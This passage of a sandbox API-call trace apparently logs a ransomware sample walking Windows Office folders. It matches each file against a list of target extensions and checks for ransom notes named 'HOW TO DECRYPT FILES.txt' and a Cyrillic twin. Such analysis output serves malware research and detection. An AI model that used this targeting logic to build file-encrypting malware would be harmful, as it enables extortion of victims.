Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.txt") returned 0 [0065.522] lstrlenA (lpString="*.txt") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.jpeg") returned 0 [0065.522] lstrlenA (lpString="*.jpeg") returned 6 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.jpg") returned 0 [0065.522] lstrlenA (lpString="*.jpg") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.png") returned 0 [0065.522] lstrlenA (lpString="*.png") returned 5 [0065.522] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.php") returned 0 [0065.523] lstrlenA (lpString="*.php") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.cs") returned 0 [0065.523] lstrlenA (lpString="*.cs") returned 4 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.cpp") returned 0 [0065.523] lstrlenA (lpString="*.cpp") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.rar") returned 0 [0065.523] lstrlenA (lpString="*.rar") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.zip") returned 0 [0065.523] lstrlenA (lpString="*.zip") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.html") returned 0 [0065.523] lstrlenA (lpString="*.html") returned 6 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.htm") returned 0 [0065.523] lstrlenA (lpString="*.htm") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.xlsx") returned 0 [0065.523] lstrlenA (lpString="*.xlsx") returned 6 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.xls") returned 0 [0065.523] lstrlenA (lpString="*.xls") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.mp4") returned 0 [0065.523] lstrlenA (lpString="*.mp4") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.ppt") returned 0 [0065.523] lstrlenA (lpString="*.ppt") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.pptx") returned 0 [0065.523] lstrlenA (lpString="*.pptx") returned 6 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.doc") returned 0 [0065.523] lstrlenA (lpString="*.doc") returned 5 [0065.523] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.dot") returned 0 [0065.523] lstrlenA (lpString="*.dot") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.docx") returned 0 [0065.524] lstrlenA (lpString="*.docx") returned 6 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.7z") returned 0 [0065.524] lstrlenA (lpString="*.7z") returned 4 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.tar") returned 0 [0065.524] lstrlenA (lpString="*.tar") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.bz2") returned 0 [0065.524] lstrlenA (lpString="*.bz2") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.gz") returned 0 [0065.524] lstrlenA (lpString="*.gz") returned 4 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.mkv") returned 0 [0065.524] lstrlenA (lpString="*.mkv") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.eml") returned 0 [0065.524] lstrlenA (lpString="*.eml") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.msg") returned 0 [0065.524] lstrlenA (lpString="*.msg") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.edb") returned 0 [0065.524] lstrlenA (lpString="*.edb") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.accdb") returned 0 [0065.524] lstrlenA (lpString="*.accdb") returned 7 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.odb") returned 0 [0065.524] lstrlenA (lpString="*.odb") returned 5 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.java") returned 0 [0065.524] lstrlenA (lpString="*.java") returned 6 [0065.524] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", pszSpec="*.asm") returned 0 [0065.525] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x157e, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="Hierarchy.xsl", cAlternateFileName="HIERAR~1.XSL")) returned 1 [0065.525] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0065.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hierarchy.xsl") returned -1 [0065.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hierarchy.xsl") returned 1 [0065.525] lstrcmpiA (lpString1="", lpString2="Hierarchy.xsl") returned -1 [0065.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js") returned="Hierarchy.js" [0065.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" [0065.525] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="" [0065.525] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" [0065.525] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to decrypt files.txt")) returned 0x20 [0065.525] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="Hierarchy.xsl" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl" [0065.525] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl", pszSpec="*.ems") returned 0 [0065.525] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="MINUS.GIF", cAlternateFileName="")) returned 1 [0065.525] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0065.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MINUS.GIF") returned -1 [0065.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MINUS.GIF") returned -1 [0065.526] lstrcmpiA (lpString1="", lpString2="MINUS.GIF") returned -1 [0065.526] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl") returned="Hierarchy.xsl" [0065.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" [0065.526] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="" [0065.526] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" [0065.526] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to decrypt files.txt")) returned 0x20 [0065.526] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="MINUS.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" [0065.526] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF", pszSpec="*.ems") returned 0 [0065.526] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a497830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="PLUS.GIF", cAlternateFileName="")) returned 1 [0065.526] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0065.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PLUS.GIF") returned -1 [0065.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PLUS.GIF") returned -1 [0065.526] lstrcmpiA (lpString1="", lpString2="PLUS.GIF") returned -1 [0065.526] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF") returned="MINUS.GIF" [0065.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" [0065.527] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="" [0065.527] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" [0065.527] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to decrypt files.txt")) returned 0x20 [0065.527] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="PLUS.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" [0065.527] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF", pszSpec="*.ems") returned 0 [0065.527] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0065.527] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0065.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SPACER.GIF") returned -1 [0065.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SPACER.GIF") returned -1 [0065.527] lstrcmpiA (lpString1="", lpString2="SPACER.GIF") returned -1 [0065.527] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF") returned="PLUS.GIF" [0065.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" [0065.527] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\") returned="" [0065.527] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" [0065.527] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to decrypt files.txt")) returned 0x20 [0065.527] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\", lpString2="SPACER.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" [0065.528] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF", pszSpec="*.ems") returned 0 [0065.528] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="SPACER.GIF", cAlternateFileName="")) returned 0 [0065.528] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0065.528] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Fancy", cAlternateFileName="")) returned 0 [0065.528] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0065.529] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 0 [0065.529] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0065.529] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x720050, dwReserved1=0x3, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="PROJEC~3.JPG")) returned 1 [0065.529] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectToolsetIconImages.jpg") returned -1 [0065.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectToolsetIconImages.jpg") returned -1 [0065.529] lstrcmpiA (lpString1="", lpString2="ProjectToolsetIconImages.jpg") returned -1 [0065.529] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*.*") returned="*.*" [0065.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft 